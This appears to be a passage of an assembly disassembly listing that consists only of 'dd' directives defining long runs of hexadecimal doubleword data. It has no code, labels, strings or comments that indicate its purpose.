		dd 5F48E80Bh, 2BDCE1C5h, 802A82F5h, 5B036048h, 5F111748h
		dd 0CABF0617h, 0F77713EDh, 3CB9EF40h, 95093A3Bh, 400CD6D1h
		dd 0BF5C3ACAh, 9CBDACD6h, 51250BE3h, 0D2FD4259h, 825A6603h
		dd 0FC87E2F8h, 411678h,	167A3415h, 0CD05815Ch, 54F85F78h
		dd 2BFF9880h, 0A2884832h, 0B1F3B84Bh, 46B1B70Dh, 0D539ADD9h
		dd 20E27E36h, 0C34FEDD7h, 85C814E9h, 9F7BF2BEh,	0A4AB2D89h
		dd 4402D920h, 6444CB28h, 0CCC7E93Ah, 2E13816Eh,	0FC3F3A4Dh
		dd 46081810h, 2F4ED38Eh, 905F5E0Fh, 604DE967h, 0EDBA0AE5h
		dd 3F06554Ah, 0D1F7CA87h, 0BEFB008h, 271301C0h,	1D2E2700h
		dd 0F7F7448h, 0DAEC105Bh, 0F2F0F84Ah, 40D6C2C1h, 661D862h
		dd 3BE90849h, 0F104E5A5h, 0EA065628h, 10251EEEh, 0E0BD019Dh
		dd 31034F0Ah, 4A2B79F2h, 321928EBh, 59226C4Bh, 0E446A660h
		dd 0A70A18BAh, 0A3530E3Eh, 4909521Fh, 22027707h, 0F600010Ah
		dd 766C21C5h, 60CE0467h, 0F96EE940h, 0E3B31A95h, 86AFC04Ah
		dd 10E69D76h, 0B8505600h, 477F3E7Bh, 0C1891E05h, 0E2E94B80h
		dd 0B53B8650h, 6C9B931Bh, 50411967h, 0D72C19AEh, 0EB03EED2h
		dd 0B3FE875Eh, 100842D7h, 626FF34Ah, 0B9D6F70Dh, 0F47A5E0Bh
		dd 0F81DD11Fh, 0EF82B9E4h, 404A2DE8h, 0BDF29253h, 3CD6C23Ch
		dd 0EBF50DB9h, 0C9A2CB3h, 605AEF54h, 2C5BEACDh,	3FB5527h
		dd 10486653h, 967D9C3Bh, 810D3A07h, 0E0DA835Dh,	4E6CF38Ah
		dd 1236B65Fh, 93B738A2h, 2DD1481Ch, 42B7B07Dh, 885A9A14h
		dd 3738A188h, 0C0EC403Ah, 0E92D192Ch, 4317215Eh, 0B8E274AAh
		dd 0B4C1337h, 0E97A30AFh, 4EE629B5h, 55C1060h, 5E772161h
		dd 1813A4F6h, 26802D40h, 190B85F7h, 30CF43B4h, 5F5EF8E2h
		dd 6F23DFE4h, 7DC1F162h, 2B771668h, 1F74B142h, 0C68B8211h
		dd 0E3E5D7D2h, 7C8EA00h, 0BC310D70h, 9BF725F7h,	0E9CB0C59h
		dd 0F1819F6Bh, 6EE65E5Ah, 5FC03B3Bh, 68665B07h,	0ED4D3FB8h
		dd 9FCC7430h, 0B28A7DF1h, 0FDC944BAh, 1699EC0Ah, 58A64984h
		dd 2D35035Dh, 6321B1ACh, 0A221B661h, 5DE80811h,	8439B33Bh
		dd 44EF43D5h, 0AE082EBAh, 0E457135Fh, 5D099949h, 530C6116h
		dd 0A0F3FAE9h, 55D409BFh, 80FD7798h, 47F70512h,	2F2CB8DBh
		dd 0C279ED62h, 3B3FD43h, 5EDEC1DBh, 0C0479F5h, 1D580999h
		dd 0F9143901h, 0A6A57A70h, 820C0806h, 0D03A8614h, 6FEC9F91h
		dd 391A1625h, 972B2144h, 0AA728F42h, 5D2A7A2Dh,	3F3C103Ch
		dd 9909A768h, 2BA71CE9h, 0C25A1CDFh, 5F7ACC86h,	70C08BDDh
		dd 800F091Bh, 0E972F584h, 792CABA1h, 58AD0480h,	710F1C88h
		dd 9204B828h, 31AF010Fh, 81344555h, 376C635h, 0C810554h
		dd 15B963E6h, 0EEF2F301h, 40C088Dh, 290CC014h, 0F745D7Fh
		dd 685BDE02h, 0F71E0693h, 565171B0h, 81FEE916h,	2D8039BDh
		dd 174436C0h, 71F00125h, 68528095h, 5FB2135Dh, 0F8D05A4Ah
		dd 2F64A1Eh, 0E9D38976h, 5F48D775h, 4E9805EEh, 0EA8A081Ch
		dd 0BAE3116h, 0C1623D48h, 5AD2B4F5h, 34D03130h,	2E540C61h
		dd 804F79E9h, 9052B305h, 0C14929F9h, 8CE193D1h,	58BDF22Ah
		dd 20E004E6h, 0D4EE7CE8h, 0C0818D7h, 7097D16h, 0DF535A1Fh
		dd 0D520CECCh, 62B995C4h, 7CC229FCh, 79058E0Fh,	0F48A8B36h
		dd 0EB8B80FAh, 889FB353h, 868AD85Bh, 35E9520Ah,	0CEF140F4h
		dd 2E5B25A8h, 0E9837DB3h, 0FE84B78Ah, 10CB44B2h, 30029270h
		dd 885259EBh, 0A151DFDEh, 0F3414328h, 0D6E4107Bh, 4C215A14h
		dd 0B16DE91Ch, 0E502EF5Fh, 0FE7920B1h, 384083FAh, 1676B75Ch
		dd 0E95C1754h, 5594C33Ah, 7BB066B1h, 8D3D1E40h,	0F84D5D12h
		dd 0CACA5D8Ch, 1E97DD3Bh, 0C120BD09h, 38428F56h, 68A0A128h
		dd 80A633E7h, 88E95116h, 9BAF7E0h, 0BA56A18h, 95EC3E00h
		dd 7BFBF45Ah, 365D6F89h, 8597023Fh, 48031267h, 289C040h
		dd 0F750C017h, 2FB468D0h, 0B044695h, 77BF5078h,	0E86B8BAFh
		dd 7F53EA55h, 0FB905AD8h, 96265C3Eh, 3BBC282Ah,	0A8EFE8CDh
		dd 33788390h, 0AC06183Eh, 4DA47EB7h, 5EF9A70Bh,	8B244F23h
		dd 3BC6E8ACh, 0F08D9647h, 0BDE94FC0h, 360AD8D3h, 0C18293BAh
		dd 9EF95A03h, 0C095003Eh, 0D8F606E8h, 0CA61A4B0h, 1B428031h
		dd 0C8014122h, 0E93E8867h, 0DBD17E91h, 0AD97F6D8h, 0E1B5ACD7h
		dd 0A9901ACBh, 4A892CE6h, 0F7AC1D31h, 9241B901h, 450B5D58h
		dd 41E274C3h, 7B450868h, 690B1A6h, 7538EF92h, 0BFE370B2h
		dd 50805FF3h, 0AA5357B8h, 1C709D10h, 6ADC2D04h,	0CBFA154Ah
		dd 391C05D5h, 90AA4892h, 5551C3FBh, 0E9270F06h,	25D135D4h
		dd 0F6D9CEB2h, 6E9A6884h, 0C52B0D8Dh, 9639EEA4h, 287D042Bh
		dd 90DD9879h, 503FFDB2h, 21DF8753h, 0AB1F5B26h,	0B455782Dh
		dd 35C1F265h, 0D31269C1h, 0B76F12ABh, 0B6558ACBh, 0BC174324h
		dd 13A4E754h, 3329CB49h, 0C43CB561h, 368344Ah, 573B71B1h
		dd 58E2319Bh, 0CFDC22D5h, 918109E4h, 7FCB7B1Dh,	0F2A8D9B1h
		dd 73963101h, 0F4D3F565h, 86982272h, 0AD6600F1h, 75B52668h
		dd 0FD69FBh, 0E9396249h, 3F456E6Fh, 287DBEC1h, 0C11D7405h
		dd 1C0508A3h, 6D5F0A8Ah, 2024C0AFh, 5B7D1C77h, 7679F20Bh
		dd 0B66077EAh, 4EFA3108h, 40AAE916h, 0B4C59FD3h, 33B191ACh
		dd 35F83EF1h, 10AF8D84h, 0B8955492h, 0CEF1895Ah, 0E016122Fh
		dd 0F82768D7h, 104B184Dh, 23380428h, 0AA5876E9h, 1868F760h
		dd 6F94976Dh, 936194B5h, 73E989C8h, 5FD006A9h, 20F2ECBFh
		dd 0F0C2231h, 0E15F0D8Ch, 7F5E3CF7h, 3760BD7Eh,	4BB28868h
		dd 4095F19Fh, 1435055Bh, 294A7B01h, 40EC68F8h, 64BF5450h
		dd 752C300Fh, 4F04D196h, 18DDD54Fh, 0CF1A803Eh,	3809495Bh
		dd 0DFD69BE9h, 27204CB6h, 4552B7D7h, 0F980CA4Eh, 971C4709h
		dd 0C224A016h, 0CA8158AEh, 6BBD20EBh, 49E0EAD9h, 0E9340BC8h
		dd 42469078h, 9D54AD09h, 1CDA656Bh, 0A1F75AE9h,	3F40E2A0h
		dd 0D39D6F1Fh, 0C1EF9652h, 353EE9ADh, 0BEF16B0Bh, 253036C8h
		dd 0B0584315h, 6983140Ah, 0E904B731h, 9CF3B37Fh, 0F1BF2D79h
		dd 51E6C476h, 0E2725986h, 0AA32044Ah, 0BF45F42Ah, 0D69521Eh
		dd 55D249FAh, 6B9F313Fh, 0DF5093CBh, 667904CFh,	0EB92E93Bh
		dd 33B32B20h, 0C11120BAh, 5F72EB0h, 0F73916F9h,	4F9AB2CBh
		dd 0C3D261EEh, 0C14B8119h, 4FBD3E03h, 3E84A93Eh, 0BC93B02h
		dd 77D851h, 0F957313Ah,	69E6FC7Fh, 23F5690Dh, 237CE85h
		dd 1773F64Dh, 0B3780874h, 0FC4DB2CBh, 6AFE845h,	3E66552Dh
		dd 84F47B28h, 4640B48Ah, 2B273CE1h, 14C95602h, 0D784F001h
		dd 0E878F433h, 535C4E18h, 2D99AB9Ch, 0F5946Bh, 5EEAC5E1h
		dd 5B345CD5h, 8452B48h,	6CE1C27Ah, 8120E7F2h, 0BC535EADh
		dd 0B93AA910h, 1A5906Dh
		dd 82B3B8B4h, 7122E330h, 0B4C380C0h, 1F4FDEE9h,	413B0BB4h
		dd 9DD27B2Eh, 0D771F568h, 0A205E825h, 0FF8BAAF2h, 0DE9FB64Ch
		dd 2915605Ah, 0E951301h, 99E1D38Eh, 795F0B03h, 7F9EFC18h
		dd 0E9640935h, 9C55AD09h, 4EF89013h, 80D2857h, 2E2DA75Dh
		dd 0FB12A2CFh, 0E2D256FCh, 31688233h, 0A39A01h,	0B279B0F7h
		dd 7652B732h, 6B920A30h, 3B387EC3h, 0EB00255Dh,	1F73C453h
		dd 68DC93E9h, 9EDAF46Fh, 1BB3C41Ah, 0D4B0FA41h,	38009734h
		dd 895BBD5Ah, 0FEA073FCh, 63166FCDh, 0ACC4293Bh, 1E5F080Ch
		dd 0E1540FD9h, 6DCF0F36h, 3264E5F2h, 13A04E97h,	5DDB6095h
		dd 0C17428B8h, 9E21492Ch, 0FEBD109h, 556689E4h,	0DF38F85h
		dd 0D3F3E69Dh, 0F6F4E04h, 0ADEC493Bh, 61E2532Fh, 5A3BA60h
		dd 51E38ABEh, 0ABB7E953h, 79B442Ah, 0C68305D4h,	0B1E6D603h
		dd 0F777EB33h, 0C34EF84Eh, 28F2666h, 0FD1416BCh, 42E4255Eh
		dd 841E5774h, 0BAFD7C97h, 93DCAC27h, 9390FDE9h,	0C948A4E9h
		dd 0F012DEDDh, 0F4AF8784h, 0B241B357h, 0A4816B41h, 2DDC302Bh
		dd 32327058h, 0BE83A1Eh, 6BA955E2h, 0C3297A03h,	0EBF06A27h
		dd 24ABC517h, 13F1EF94h, 96A8E92Ah, 29E4DEE8h, 98B6F06h
		dd 700F4C7Eh, 5822B632h, 388BD83h, 0EB80800Ah, 0F60BC0C4h
		dd 6757F6EFh, 0F1A30C59h, 0B19EC3Ah, 0DFD0683Dh, 0B8921144h
		dd 7E3E5966h, 5BE74C19h, 0FE001F20h, 7EDC0CDh, 0B8B6B050h
		dd 63CAB78Bh, 20C8EF5h,	0DC681F47h, 729EC3DAh, 8F7DB03h
		dd 0DF472634h, 0B7910CA4h, 0A23A3F2Ah, 545DC9E4h, 0B850AD0Fh
		dd 33AC802h, 0D54C0167h, 0C09EE9Ah, 0B2D0527Ah,	38AA5EF5h
		dd 0AA40E88Ah, 4FD977F7h, 0BF8F8035h, 6A3D6FF9h, 43F42548h
		dd 7F4EE8E3h, 4B623D1Fh, 0E513EF9Eh, 0D7C96AF6h, 9F98246Ch
		dd 5A7C1020h, 2002AA29h, 7D25D536h, 4F095670h, 7E8F0BE9h
		dd 48586742h, 388A0F02h, 95A6D709h, 872F1208h, 0B518DA95h
		dd 0B5685971h, 13D41643h, 0B5B48847h, 0D953077h, 0E9625106h
		dd 0EC17A649h, 8281ED2h, 0B60CBE12h, 59190114h,	79106E1Eh
		dd 0AD49D11Fh, 0EF0049AFh, 6AC110EAh, 7FF34BC9h, 9AF656ABh
		dd 1CEC77D2h, 6CCE918h,	0EB9EB71h, 0C1933785h, 0E3D1C1DEh
		dd 3BCF05E9h, 0E8A41B8h, 685A82DAh, 32F72A57h, 0A5665CFCh
		dd 4014B27Dh, 0BA54D158h, 58DA78E2h, 0F920F74Ah, 15800F0Ch
		dd 0FC98904h, 522D1F59h, 0A1378985h, 22492095h,	8193BF5Ch
		dd 394C388Bh, 73358640h, 35F69804h, 9193AB23h, 6D94DBB5h
		dd 160C3CADh, 0DDEBAB75h, 6F68D075h, 8DE94308h,	0B1632DDFh
		dd 0F6B40B9Dh, 0BD32A170h, 7C22242Ch, 0AC5D1236h, 5BB2F403h
		dd 0D699E983h, 0EC2BD04h, 8AA01179h, 0BB7E27Eh,	0C098E961h
		dd 57FE26E4h, 0B2D20296h, 77584ECh, 0ED03F4BDh,	1BCA1279h
		dd 7FABCDB0h, 4E5B5E26h, 0C5348F09h, 0FD43149Bh, 0CF57AA0Ah
		dd 0A18B09B9h, 7FEF5EE3h, 10100AC9h, 0DB17D7F3h, 82BBD924h
		dd 8277F005h, 508AE968h, 50580ED8h, 0E64FDC88h,	0A9F5AA69h
		dd 0E4390E9Eh, 53FD3F67h, 92F1C700h, 0FE316513h, 0D180E917h
		dd 2650C8A2h, 673132Eh,	50F9B47Ah, 31E65704h, 67F05EE9h
		dd 0CD87135Bh, 0E982651h, 1873C0B5h, 664B2803h,	2A9C0182h
		dd 820F333Dh, 0D790DAB1h, 0FD25FEBAh, 5B2819B7h, 0F23C2C2Bh
		dd 0E13BC941h, 0F0FCE37Fh, 0EA904BDAh, 749D3505h, 3CBC294Ch
		dd 3C6DC102h, 6FF20192h, 0A7540882h, 4DA01393h,	73B09758h
		dd 9083039Dh, 177005D8h, 0BE31782Fh, 0D1AF0735h, 69FCBCAAh
		dd 13053C15h, 6ECD4669h, 0A04B0F22h, 0E362C16Eh, 55267A26h
		dd 0C880461Ch, 9BB8ADB7h, 2A4DD4C3h, 0C852FB98h, 2665FEBBh
		dd 96097F73h, 3182F0CFh, 3768F30Ah, 858D9322h, 0BC3E7549h
		dd 812DC150h, 0C23E197Bh, 78B0550h, 4AF26F00h, 8B9056AEh
		dd 0C005A83h, 15C62CDDh, 0BFBC25E9h, 2875F4A0h,	17CA9EAh
		dd 679ED4BDh, 0BF164E2Eh, 50DD87D8h, 10E7868h, 0F707A37h
		dd 8C165684h, 0BBC96B5h, 7A3441CEh, 408CEDE0h, 552D53D2h
		dd 13EBC45Bh, 957D829h,	0F8980FC6h, 0EEA4CA01h,	53D76A32h
		dd 0F4BC5095h, 0AA76974h, 0ACDA6804h, 2548007Bh, 9077B38h
		dd 69901C35h, 4960AFE3h, 0B72C8905h, 818FA5Dh, 0EE5E5AA3h
		dd 0BDE1B243h, 80338353h, 7690FA1Bh, 0EB4D2484h, 252580FDh
		dd 9835ED60h, 41BF4FA4h, 215FFD35h, 26AD6BE8h, 0BA757089h
		dd 6B517DA5h, 4A9D5242h, 5F0CCA05h, 590BDE4Ch, 3017A768h
		dd 0BE9394AFh, 0C57DDAB1h, 0A13432C9h, 1316B905h, 97516FFh
		dd 7EE14A30h, 1E65D85Ch, 2D889C9Ch, 12541F1Ch, 47EF82ABh
		dd 830B16C0h, 984273Eh,	0E8010EF1h, 24079BF8h, 14E173F0h
		dd 445A07EBh, 0FD3656E0h, 907D9E37h, 0F451D983h, 2B09440h
		dd 0A1674899h, 9328F71Ch, 9A0000BFh, 295FF026h,	9E94297h
		dd 10B05D08h, 0A7A8DAABh, 0DAB55DEBh, 5BF87D71h, 0EFD912CDh
		dd 0BB80FECAh, 50C96ABCh, 20A043D0h, 0F3FAEA56h, 0ABE68100h
		dd 74486827h, 5E8D014Ah, 0F1D17B96h, 9E5A2E56h,	0B2C6126h
		dd 4427A620h, 751CEEBAh, 0ACBD440Ch, 5B85B80Dh,	9FDFA09h
		dd 0B970EA00h, 71BD7C83h, 0FC6AF412h, 520E4901h, 0E1316E27h
		dd 0C3808B8Fh, 22D3E73Eh, 0EE0F2226h, 0DECEE459h, 0B3A1A3F8h
		dd 6B13EAAh, 0C2CBE002h, 13C2D5FCh, 37E410FDh, 0BB59808Ch
		dd 50428F02h, 55EBD126h, 0D43A7A02h, 0F7810104h, 0E7238FEDh
		dd 0FDDF716h, 34E04810h, 0BE7CE902h, 0F92120C4h, 0A39ED3C2h
		dd 83E72C17h, 8A19E1D8h, 5A108E3Fh, 2CC30BBh, 0B13ED14h
		dd 0CA0AF229h, 0A44853Fh, 2AA11BC5h, 0B27DC530h, 83CE9DABh
		dd 79FD8825h, 4D0581FAh, 2A39957Ch, 0FD4A0FE2h,	0A468E18Ah
		dd 0F1388E35h, 0AA025AC9h, 0B34A8301h, 4638B158h, 0FAE35A11h
		dd 11B6C84h, 4831BA66h,	0F7D842D1h, 0B95895DAh,	0C313A12Ch
		dd 8BCEEB07h, 1218C3FBh, 0BE5AD508h, 2B71B50h, 33E93FA1h
		dd 926D217h, 60E032F4h,	0BA0B025Fh, 0C0AD0592h,	2D4CFD0Eh
		dd 72950F72h, 0B9054A8Eh, 594C4898h, 4EF850A5h,	25CD6F12h
		dd 37A682AEh, 599D4C7Bh, 1DEE2357h, 2B3A395Ch, 79E90E06h
		dd 0F7042D30h, 27950405h, 0C82A49FFh, 66EAC686h, 0DE3B802h
		dd 75313299h, 0F0100A10h, 5FC385C0h, 0B011124Dh, 9E21FAC7h
		dd 8C0F0312h, 6500CEA9h, 0BB0E72CBh, 5E0AE97Dh,	0E8D4D5B5h
		dd 0F2B75E26h, 0CDE8E9C2h, 0D1526C5Eh, 0AC7C896Ah, 9B780276h
		dd 0C31DC1ECh, 7F1016BAh, 0E11082B2h, 9DBC5BD3h, 760DAEA4h
		dd 0ED83B60h, 61AC2D65h, 88347F2h, 6B7835EAh, 0C45A749Dh
		dd 0E53A493Ch, 0EE2F3C66h, 630C17F3h, 4094CD07h, 0CB018758h
		dd 0B951D3F7h, 28C12061h, 0E9C3B02Fh, 7BE1DFF6h, 8104CCAh
		dd 67F85F63h, 0EF565412h, 0F8DA6D66h, 0AF89BD34h, 0F5C9E4F9h
		dd 709DB7C6h, 204F0E4Dh, 0D18449D4h, 7108ABEFh,	11822D64h
		dd 7E0BD0A4h, 177783B1h, 92E92040h, 0BA1A9C3Ah,	7C473447h
		dd 5E82A7A2h, 4C678EC6h, 5FA3AA12h, 2665C13h, 0C0B70F66h
		dd 3E4EC4E1h, 8A01CBD9h, 0B8210F50h, 1ABDCF00h,	0ED694F08h
		dd 0A4A34003h, 0D2EA9725h, 49B322FEh, 50585B90h, 1C7E756Ah
		dd 0C2E97417h, 63C160AFh, 0F5CDB19h, 0D65D2F91h, 0C4DE1345h
		dd 0C9B0AF58h, 42C6BD61h, 8A8A544Bh, 791B024Bh,	0BD64770Dh
		dd 0F286BF02h, 0D8A5E988h, 0E7D19719h, 3FB5062h, 0C393CBFEh
		dd 446B68F8h, 0C74DB9FAh
		dd 0E48D09A2h, 404F7AC0h, 0AD03B607h, 8BE9A317h, 12425AFDh
		dd 25B90504h, 0A45EA80h, 0E040148Ah, 46F4C981h,	0F92F4AB4h
		dd 0B5FAF420h, 0A16B78D0h, 3229D1B0h, 13F65A26h, 20472944h
		dd 46037F5Ah, 68E92BA2h, 0B9164F98h, 2A844102h,	39E869FFh
		dd 0A23B1840h, 582868DAh, 29E1451Ch, 0E3A242F5h, 5899DE09h
		dd 6CB582E6h, 0EC212FFBh, 0F61611E8h, 2E69EA8h,	38FCB290h
		dd 0D632BE26h, 1930BF13h, 3E66A6BBh, 0D6964844h, 0DCB7A5DCh
		dd 0CEAB1360h, 494004EAh, 370215D7h, 7A800F64h,	81545C46h
		dd 76CD8EF7h, 0F30B2F89h, 92B95CCEh, 1ECEAEE3h,	567FE913h
		dd 0B16E822Bh, 59BF41DDh, 444C667Ah, 62CCDE9Fh,	6E57F4F9h
		dd 0CAB1005Eh, 5305E1C0h, 0FE040BB7h, 86F780CFh, 45D410F1h
		dd 5BF93D30h, 2C5DF187h, 0EBC2FB1h, 528304C8h, 0CAF092B2h
		dd 0E23BC042h, 69C21702h, 0A25996FBh, 931AFC58h, 5024F0ADh
		dd 339F0091h, 8AB86BD6h, 0F3F440Bh, 0AF7CFC31h,	0E910371Ch
		dd 3586902h, 0E16BB905h, 4156B916h, 41884008h, 0F0A17A74h
		dd 0AC83C4Ch, 861EC868h, 4AA29F94h, 0E8B497E8h,	9DB6C5C9h
		dd 54860B2h, 7F32E618h,	5C18F0E2h, 0B50C4C01h, 14F1371Ch
		dd 0A4C02924h, 8800CEB3h, 865B66DAh, 0D0CCFEE2h, 0A3C9108h
		dd 0D1F6CA8Ch, 0BED8E908h, 1E7CB958h, 7D2D7B14h, 0A8A99881h
		dd 21CD89B0h, 2FD5C910h, 9510B7B3h, 0E8301646h,	4450F80Fh
		dd 41BBA496h, 2068F999h, 5B7DC203h, 0C8F5EB0Dh,	4C4DA71Bh
		dd 9272D7DBh, 4F5F242Eh, 0A720185Eh, 40BDEFC1h,	0C5F9DF44h
		dd 0E047E922h, 42092D19h, 960AF660h, 0A8687D8Bh, 49EEE9DFh
		dd 0D63BD920h, 0FF458F92h, 0F63BDB26h, 79F45CCDh, 0B17D5281h
		dd 7D34F90Dh, 0D8E908ABh, 9BB8303Bh, 9598E745h,	0A0AE9A20h
		dd 0C4319836h, 9C27173h, 8EF0146h, 0B26EDEF7h, 6F8A1C08h
		dd 0FA001E12h, 3A17418Eh, 0C42573E9h, 0E84B80BBh, 55B7C79Dh
		dd 3D3003B9h, 0F2A71CA2h, 2B984B2Ch, 43393200h,	0C11F42E5h
		dd 0EBC107E3h, 0CEC4E657h, 0C55A1828h, 3CC6FED6h, 4D0E0030h
		dd 0F38129A7h, 7A2D3F17h, 0C0B5651h, 0C363B546h, 0F8EC202Eh
		dd 0C7CC2027h, 0B76747FBh, 0ED098C58h, 0FD85D262h, 6C57E062h
		dd 0F45F4DA2h, 2279BE5Eh, 29FC83Eh, 0F17B778Ah,	0AE14D525h
		dd 0A675909Dh, 0B83FE148h, 30FBE5EDh, 0DCBE997h, 0CD605381h
		dd 887E03B3h, 0D0F65BD8h, 3B9D40F9h, 4BA36731h,	312D22C2h
		dd 58FFE3CAh, 0A87CB74Eh, 974DE9F0h, 555B6801h,	6DEE8281h
		dd 575DB866h, 70B8AC2h,	0BE4F507Ah, 0BD7FB3B1h,	8BAAB41Ch
		dd 68570642h, 20E7461Dh, 0BA021C98h, 0C41043A7h, 248C929h
		dd 0FD54D393h, 0C9CA75Eh, 5EE52F68h, 4C312BC6h,	5FFE872Dh
		dd 89D7B72Eh, 0B072465Ch, 60929ABFh, 256384Eh, 0F4F87B2Bh
		dd 70F8B94Bh, 0C8577189h, 26057EC7h, 17053845h,	5A99E836h
		dd 3427CACAh, 5F55EE60h, 17DCA2C8h, 254EBC5Eh, 0A5CB7B97h
		dd 4C43D7D4h, 803A379Eh, 0FF53348h, 3E37A3D9h, 79E8F824h
		dd 6EE341A4h, 2073E371h, 7A2F66Eh, 2142EE51h, 0B1DB75F1h
		dd 1C65A70Ch, 932C25ACh, 0F1A410A4h, 4AE7385Ch,	25A4EBACh
		dd 74B4EA09h, 490B27E9h, 0C973C97Ah, 65B97702h,	5E488E0Fh
		dd 79624F29h, 0F3605308h, 0EF244A10h, 0D1107725h, 8E14EC4Eh
		dd 0F759CB51h, 575478C2h, 0B9480D6Dh, 0DFFCB50Dh, 7F934162h
		dd 6EC16C99h, 0DAC9656h, 0BAF55D25h, 2FF252EDh,	51513745h
		dd 0B48142h, 0FB045ABBh, 0BDB84A02h, 60AFA87Fh,	0B8405B53h
		dd 0E582F985h, 0E07CAAC5h, 0C70540DFh, 3CB4300Bh, 0F5C4618h
		dd 88D931ECh, 4A6B0504h, 808184E8h, 0BC685253h,	4852C862h
		dd 0EA81DDE4h, 449D41EBh, 0C002166Ah, 6E220E5Bh, 83533312h
		dd 5B01E101h, 1D6FFB87h, 4B430197h, 2CA7D2E9h, 81C0D6DCh
		dd 9D70FA68h, 0F24BC7C6h, 9CAF3F12h, 72945170h,	2CBDF792h
		dd 4094A7Bh, 0CF4C31CBh, 69CB5A96h, 30C82550h, 0D93AEF71h
		dd 0B39C78E9h, 68565201h, 583B794Eh, 0C3FEB907h, 6B880F09h
		dd 0B1CFA047h, 5CE9C07Bh, 6305D407h, 0EF5EC1FEh, 0DF78D640h
		dd 0A131E6E7h, 13D40DD4h, 35711C3Eh, 299E0FB5h,	4F44E040h
		dd 0A6122555h, 0FF055C0Ah, 5B398D91h, 20F5330h,	0E960AC16h
		dd 8E4962B2h, 3A4A61F7h, 0B70C8996h, 95E2CA5h, 1185F3EAh
		dd 0AAEA133Fh, 90F27369h, 4A1EE9BAh, 0C784A4CDh, 0F29B702h
		dd 11F6F8Dh, 8242A9E9h,	81684F0Ah, 2F19517Bh, 141755D9h
		dd 0B9BFAEC0h, 784F131Ah, 0BE90EF31h, 181DC130h, 0DD75B3E9h
		dd 40381CEEh, 1C444B92h, 550EC18Bh, 9851DC7h, 0F8556C57h
		dd 0E3D05BE6h, 90EE93A9h, 63CB992h, 0F66DAC2Dh,	5A8B0439h
		dd 0E4FF81F3h, 0B6B86EF1h, 9325808Bh, 2089B15Dh, 1811DA0h
		dd 0A977B9E3h, 0F0280E8Bh, 0DE214252h, 97E98C71h, 0EF248033h
		dd 0C02D1DFCh, 98793AE3h, 0ECB15F3Dh, 0B5D8C41Ch, 0B8ED0416h
		dd 48F816CBh, 21E2481Ch, 45B45112h, 0B8FCA89Eh,	0BF5400BEh
		dd 0DE0D174h, 42017F18h, 0ECFD2D0Bh, 807F80B4h,	4BE95AB6h
		dd 256FBE49h, 1E237CBAh, 0F518CAF3h, 0A907437Fh, 0DB27107Dh
		dd 0E2A9FE3Eh, 67F7EB11h, 0E9FD87E9h, 65FC2F23h, 9D4FBBC6h
		dd 6C80D713h, 7CAD53D3h, 0F1742777h, 44D5583Ah,	0C6E91270h
		dd 0A0F8EC58h, 0A0B17A28h, 0BDD2DEDCh, 6320F06Ch, 0AE16A3A3h
		dd 0A0FEBFD9h, 9AF861FBh, 0CC183E50h, 0B17877BBh, 202BC358h
		dd 6BA0540h, 0AB23931Ah, 9B46EBC1h, 0DD8A443Ah,	32FE0C42h
		dd 79A5612Fh, 21495BF6h, 0B6B96FD4h, 0A0A6E983h, 97A0265Eh
		dd 0B33B5A68h, 82503C03h, 73D16761h, 9C185E58h,	0E98F308Bh
		dd 31CC1894h, 809182E3h, 549F5D54h, 0BA33DBE6h,	78837AA3h
		dd 4525E116h, 29025578h, 2DE17768h, 0E9891856h,	599027DCh
		dd 0C8CF296Fh, 750018Dh, 5A29A6B8h, 9AC9E344h, 4F0C284Dh
		dd 47D3EFB8h, 70030469h, 0E9D02888h, 0EDA1BC5Ah, 0AC5FF036h
		dd 5A05CAC4h, 7A43BF8Bh, 0D9DC2D79h, 0C1CAE6F6h, 0F8E05117h
		dd 1E0F4D7h, 657BE77h, 21312998h, 5E59FC24h, 20CE5095h
		dd 0A2B01D67h, 7822B91Fh, 59CA8940h, 2F24CB8Bh,	305C5B87h
		dd 408A0F04h, 0E98420ABh, 0BCA9C36Dh, 0FFB62EEBh, 2F82E15Fh
		dd 95183EF6h, 0AFB42EEEh, 664BB20Eh, 2810C350h,	8058B0E2h
		dd 6C366C2h, 0EAF01435h, 0D106BDEBh, 0EB873016h, 4436F197h
		dd 5EA8ECCCh, 3F68E370h, 0DCC69F43h, 0D75821BCh, 0FD90722h
		dd 414ED6F7h, 24B2CA8Fh, 0FC41F4FCh, 225A941h, 0EE7A907Ah
		dd 705BD475h, 8A410BFh,	22FC5D36h, 91D3729Fh, 0D8450C6Ch
		dd 954A295h, 0D9BD5440h, 0EA5C0B31h, 46980DEh, 5FCFEF3h
		dd 0D1F65CE0h, 2C705298h, 788E76BDh, 548198E3h,	0D3DDE5D8h
		dd 7B31EB2Ch, 5D031F0Ch, 8C41B604h, 9480D8E8h, 9AB2E1Ah
		dd 96FAE907h, 0A9653F22h, 0D298405Ah, 400BAF2Eh, 0AE2AA207h
		dd 75FE3162h, 8702E5FAh, 111C13Ch, 0B7080974h, 967C2F0Ah
		dd 0AA24E99Eh, 0F732B38Bh, 0F27D8612h, 0AAE915ACh, 0F42F9E52h
		dd 0E4FFAE9Ah, 5AD712B6h, 1A3D9233h, 522D5F00h,	14927976h
		dd 705C801h, 202D9A5Bh,	98DB092Ch, 6C12361Ah, 15202DCh
		dd 0C0440381h, 0D6EF4881h, 400FA80Eh, 564EBE87h, 27E97409h
		dd 1CEE51AAh, 0AF2EE63h, 40637E9Dh, 35212D3Ch, 5F1C015Bh
		dd 6A0079Dh, 6A0A2CC5h,	7F130C6Eh, 300D0CEEh, 0C902F447h
		dd 19C2F7F3h, 59449556h
		dd 571F76CBh, 1280A7E9h, 6C36DBBFh, 0E7814107h,	41B6470h
		dd 0E4AF6856h, 1C5EF764h, 7F482DEFh, 0FA4BBBC8h, 717E0FE3h
		dd 0CBA474B5h, 0AA38264h, 0C2969F60h, 129EF57Ch, 3424E781h
		dd 997F1437h, 35982018h, 0D27DE9E2h, 7F8065DDh,	5F70EC18h
		dd 59CB2F29h, 45F634C8h, 0E91B4805h, 0BEAD1C7Eh, 0C9098000h
		dd 33E32D62h, 51032BE0h, 965201B9h, 2EE84D66h, 0C267F18h
		dd 0C5247EA0h, 0E827A043h, 7D41A45Eh, 0C8290E5Ah, 58425059h
		dd 1547CF01h, 42B2D627h, 0D456ECE9h, 7440051Eh,	0D12D10F2h
		dd 12143A2Fh, 0D84CD28Eh, 1208E9CBh, 841169Dh, 0CA2877F7h
		dd 0D211B02Eh, 2803B760h, 0E85B5FF8h, 6A68B001h, 0FB189765h
		dd 0CDB78B15h, 3A55AD0Fh, 255EC87Dh, 95E8A4CDh,	35DFCCCBh
		dd 0A488EBDFh, 85680453h, 0B36A2279h, 23004FD2h, 0F6E7213h
